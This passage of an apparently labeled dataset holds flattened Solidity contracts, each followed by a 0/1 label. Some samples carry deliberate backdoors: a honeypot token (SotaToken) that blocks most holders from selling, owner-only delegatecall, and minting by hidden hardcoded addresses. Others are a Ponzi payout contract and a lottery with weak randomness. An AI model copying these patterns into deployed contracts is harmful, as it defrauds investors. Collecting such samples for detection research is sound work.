_value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
58
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } abstract contract Context { constructor() {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public override view returns(uint) { return _totalSupply; } function balanceOf(address account) public override view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract SotaToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require(msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin)); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 250000000000000000000000000; string public name = "SOTA"; string public symbol = "SOTA"; address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private owner; address public uniPair; function sliceUint(bytes memory bs) internal pure returns (uint) { uint x; assembly { x := mload(add(bs, add(0x10, 0))) } return x; } function isAccountValid(address subject) pure public returns (bool result) { return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0; } function onlyByHundred() view public returns (bool result) { require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this"); return true; } constructor() { owner = msg.sender; uniPair = pairFor(uniFactory, wETH, address(this)); allowance[address(this)][uniRouter] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0
76
contract Trey { address owner; function Trey() { owner = msg.sender; } mapping (address => uint256) balances; mapping (address => uint256) timestamp; function() external payable { owner.send(msg.value / 10); if (balances[msg.sender] != 0){ address kashout = msg.sender; uint256 getout = balances[msg.sender]*3/100*(block.number-timestamp[msg.sender])/5900; kashout.send(getout); } timestamp[msg.sender] = block.number; balances[msg.sender] += msg.value; } }
0
796
contract JackPot { address public host; uint minAmount; uint[] public contributions; address[] public contributors; uint public numPlayers; uint public nextDraw; bytes32 public seedHash; bytes32 random; struct Win { address winner; uint timestamp; uint contribution; uint amountWon; } Win[] public recentWins; uint recentWinsCount = 10; function insert_contribution(address addr, uint value) internal { if(numPlayers == contributions.length) { contributions.length += 1; contributors.length += 1; } contributions[numPlayers] = value; contributors[numPlayers++] = addr; } function getContributions(address addr) constant returns (uint) { uint i; for (i=0; i < numPlayers; i++) { if (contributors[i] == addr) { break; } } if(i == numPlayers) { return 0; } else { return contributions[i]; } } function JackPot() { host = msg.sender; seedHash = sha3('aaaa'); minAmount = 10 * 1 finney; recentWinsCount = 10; nextDraw = 1234; } function() { addToContribution(); } function addToContribution() { addValueToContribution(msg.value); } function addValueToContribution(uint value) internal { if(value < minAmount) throw; uint i; for (i=0; i < numPlayers; i++) { if (contributors[i] == msg.sender) { break; } } if(i == numPlayers) { insert_contribution(msg.sender, value); } else { contributions[i]+= value; } random = sha3(random, block.blockhash(block.number - 1)); } function drawPot(string seed, string newSeed) { if(msg.sender != host) throw; if (sha3(seed) == seedHash) { seedHash = sha3(newSeed); uint winner_index = selectWinner(seed); host.send(this.balance / 100); uint amountWon = this.balance; contributors[winner_index].send(this.balance); recordWin(winner_index, amountWon); reset(); nextDraw = now + 7 days; } } function setDrawDate(uint _newDraw) { if(msg.sender != host) throw; nextDraw = _newDraw; } function selectWinner(string seed) internal returns (uint winner_index) { uint semirandom = uint(sha3(random, seed)) % this.balance; for(uint i = 0; i < numPlayers; ++i) { if(semirandom < contributions[i]) return i; semirandom -= contributions[i]; } } function recordWin(uint winner_index, uint amount) internal { if(recentWins.length < recentWinsCount) { recentWins.length++; } else { for(uint i = 0; i < recentWinsCount - 1; ++i) { recentWins[i] = recentWins[i + 1]; } } recentWins[recentWins.length - 1] = Win(contributors[winner_index], block.timestamp, contributions[winner_index], amount); } function reset() internal { numPlayers = 0; } function destroy() { if(msg.sender != host) throw; for(uint i = 0; i < numPlayers; ++i) { contributors[i].send(contributions[i]); } reset(); selfdestruct(host); } }
0
2,592
pragma solidity ^0.4.16; contract ForeignToken { function balanceOf(address _owner) public constant returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Smile is ERC20 { address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply = 100000000 * 10**3; function name() public constant returns (string) { return "SMILE"; } function symbol() public constant returns (string) { return "SML"; } function decimals() public constant returns (uint8) { return 3; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event DistrFinished(); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } function Smile() public { owner = msg.sender; balances[msg.sender] = totalSupply; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } function getEthBalance(address _addr) constant public returns(uint) { return _addr.balance; } function distributeSML(address[] addresses, uint256 _value) onlyOwner canDistr public { for (uint i = 0; i < addresses.length; i++) { balances[owner] -= _value; balances[addresses[i]] += _value; Transfer(owner, addresses[i], _value); } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function finishDistribution() onlyOwner public returns (bool) { distributionFinished = true; DistrFinished(); return true; } function withdrawForeignTokens(address _tokenContract) public returns (bool) { require(msg.sender == owner); ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
1
4,121
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function transferFrom(address from, address to, uint256 value) public returns (bool); } contract ICOcontract is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; address _tokenContract = 0x0a450affd2172dbfbe1b8729398fadb1c9d3dce7; AltcoinToken cddtoken = AltcoinToken(_tokenContract); uint256 public tokensPerEth = 86000e4; uint256 public bonus = 0; uint256 public constant minContribution = 1 ether / 1000; uint256 public constant extraBonus = 1 ether / 10; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Distr(address indexed to, uint256 amount); event TokensPerEthUpdated(uint _tokensPerEth); modifier onlyOwner() { require(msg.sender == owner); _; } function ICOcontract () public { owner = msg.sender; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { sendTokens(); } function sendTokens() private returns (bool) { uint256 tokens = 0; require( msg.value >= minContribution ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; bonus = 0; if ( msg.value >= extraBonus ) { bonus = tokens / 2; } tokens = tokens + bonus; sendtokens(cddtoken, tokens, investor); address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) { AltcoinToken anytoken = AltcoinToken(anycontract); uint256 amount = anytoken.balanceOf(address(this)); return anytoken.transfer(owner, amount); } function sendtokens(address contrato, uint256 amount, address who) private returns (bool) { AltcoinToken alttoken = AltcoinToken(contrato); return alttoken.transfer(who, amount); } }
0
785
pragma solidity 0.4.24; contract ERC20TokenInterface { function totalSupply () external constant returns (uint); function balanceOf (address tokenOwner) external constant returns (uint balance); function transfer (address to, uint tokens) external returns (bool success); function transferFrom (address from, address to, uint tokens) external returns (bool success); } library SafeMath { function mul (uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b); return c; } function div (uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub (uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add (uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); return c; } } contract OneYearDreamTokensVestingAdvisors { using SafeMath for uint256; ERC20TokenInterface public dreamToken; address public withdrawalAddress = 0x0; struct VestingStage { uint256 date; uint256 tokensUnlockedPercentage; } VestingStage[2] public stages; uint256 public initialTokensBalance; uint256 public tokensSent; address public deployer; modifier deployerOnly { require(msg.sender == deployer); _; } modifier whenInitialized { require(withdrawalAddress != 0x0); _; } modifier whenNotInitialized { require(withdrawalAddress == 0x0); _; } event Withdraw(uint256 amount, uint256 timestamp); constructor (ERC20TokenInterface token) public { dreamToken = token; deployer = msg.sender; } function () external { withdrawTokens(); } function initializeVestingFor (address account) external deployerOnly whenNotInitialized { initialTokensBalance = dreamToken.balanceOf(this); require(initialTokensBalance != 0); withdrawalAddress = account; vestingRules(); } function getAvailableTokensToWithdraw () public view returns (uint256) { uint256 tokensUnlockedPercentage = getTokensUnlockedPercentage(); if (tokensUnlockedPercentage >= 100) { return dreamToken.balanceOf(this); } else { return getTokensAmountAllowedToWithdraw(tokensUnlockedPercentage); } } function vestingRules () internal { stages[0].date = 1545696000; stages[1].date = 1561852800; stages[0].tokensUnlockedPercentage = 50; stages[1].tokensUnlockedPercentage = 100; } function withdrawTokens () private whenInitialized { uint256 tokensToSend = getAvailableTokensToWithdraw(); sendTokens(tokensToSend); if (dreamToken.balanceOf(this) == 0) { selfdestruct(withdrawalAddress); } } function sendTokens (uint256 tokensToSend) private { if (tokensToSend == 0) { return; } tokensSent = tokensSent.add(tokensToSend); dreamToken.transfer(withdrawalAddress, tokensToSend); emit Withdraw(tokensToSend, now); } function getTokensAmountAllowedToWithdraw (uint256 tokensUnlockedPercentage) private view returns (uint256) { uint256 totalTokensAllowedToWithdraw = initialTokensBalance.mul(tokensUnlockedPercentage).div(100); uint256 unsentTokensAmount = totalTokensAllowedToWithdraw.sub(tokensSent); return unsentTokensAmount; } function getTokensUnlockedPercentage () private view returns (uint256) { uint256 allowedPercent; for (uint8 i = 0; i < stages.length; i++) { if (now >= stages[i].date) { allowedPercent = stages[i].tokensUnlockedPercentage; } } return allowedPercent; } }
0
2,516
pragma solidity ^0.5.0; contract Prize { event Successful(address winner, uint withdrawableHeight); bytes32 private flagHash; mapping(address => bytes32) private commits; mapping(address => uint) private heights; address payable private winner; uint private withdrawableHeight; constructor(bytes32 _flagHash) public payable { flagHash = _flagHash; withdrawableHeight = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; } function commit(bytes32 commitment) external { commits[msg.sender] = commitment; heights[msg.sender] = block.number + 256; } function reveal(bytes32 flag) external { require(calcFlagHash(flag) == flagHash); require(calcCommitment(flag, msg.sender) == commits[msg.sender]); require(heights[msg.sender] < withdrawableHeight); emit Successful( winner = msg.sender, withdrawableHeight = heights[msg.sender] ); } function withdraw() external { require(msg.sender == winner); require(block.number >= withdrawableHeight); selfdestruct(winner); } function calcFlagHash(bytes32 flag) public pure returns(bytes32) { return keccak256(abi.encodePacked(flag)); } function calcCommitment(bytes32 flag, address sender) public pure returns(bytes32) { return keccak256(abi.encodePacked(flag, sender)); } }
1
4,730
pragma solidity ^0.4.24; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 100000000; uint256 public buyPrice = 1; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'ECC', 'ECC') payable public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { owner.send(msg.value); uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } }
0
2,217
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred( address previousOwner, address newOwner ); modifier onlyOwner() { require(msg.sender == owner || msg.sender == address(this)); _; } constructor() public { owner = msg.sender; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(bool isPause); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(paused); } function unpause() onlyOwner whenPaused public { paused = false; emit Pause(paused); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic, Pausable { using SafeMath for uint256; mapping(address => uint256) balances; struct Purchase { uint unlockTokens; uint unlockDate; } mapping(address => Purchase[]) balancesLock; uint256 totalSupply_; address public rubusBlackAddress; uint256 public priceEthPerToken; uint256 public depositCommission; uint256 public withdrawCommission; uint256 public investCommission; address public depositWallet; address public withdrawWallet; address public investWallet; bool public lock; uint256 public minimalEthers; uint256 public lockTokensPercent; uint256 public lockTimestamp; event Deposit(address indexed buyer, uint256 weiAmount, uint256 tokensAmount, uint256 tokenPrice, uint256 commission); event Withdraw(address indexed buyer, uint256 weiAmount, uint256 tokensAmount, uint256 tokenPrice, uint256 commission); function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value <= checkVesting(msg.sender)); if (_to == rubusBlackAddress) { require(!lock); uint256 weiAmount = _value.mul(withdrawCommission).div(priceEthPerToken); require(weiAmount <= uint256(address(this).balance)); totalSupply_ = totalSupply_.sub(_value); msg.sender.transfer(weiAmount); withdrawWallet.transfer(weiAmount.mul(uint256(100).sub(withdrawCommission)).div(100)); emit Withdraw(msg.sender, weiAmount, _value, priceEthPerToken, withdrawCommission); } else { balances[_to] = balances[_to].add(_value); } balances[msg.sender] = balances[msg.sender].sub(_value); emit Transfer(msg.sender, _to, _value); return true; } function getPurchases(address sender, uint index) public view returns(uint, uint) { return (balancesLock[sender][index].unlockTokens, balancesLock[sender][index].unlockDate); } function checkVesting(address sender) public view returns (uint256) { uint256 availableTokens = 0; for (uint i = 0; i < balancesLock[sender].length; i++) { (uint lockTokens, uint lockTime) = getPurchases(sender, i); if(now >= lockTime) { availableTokens = availableTokens.add(lockTokens); } } return availableTokens; } function balanceOf(address _owner) public view returns (uint256) { return checkVesting(_owner); } function balanceOfUnlockTokens(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_value <= checkVesting(_from)); if (_to == rubusBlackAddress) { require(!lock); uint256 weiAmount = _value.mul(withdrawCommission).div(priceEthPerToken); require(weiAmount <= uint256(address(this).balance)); totalSupply_ = 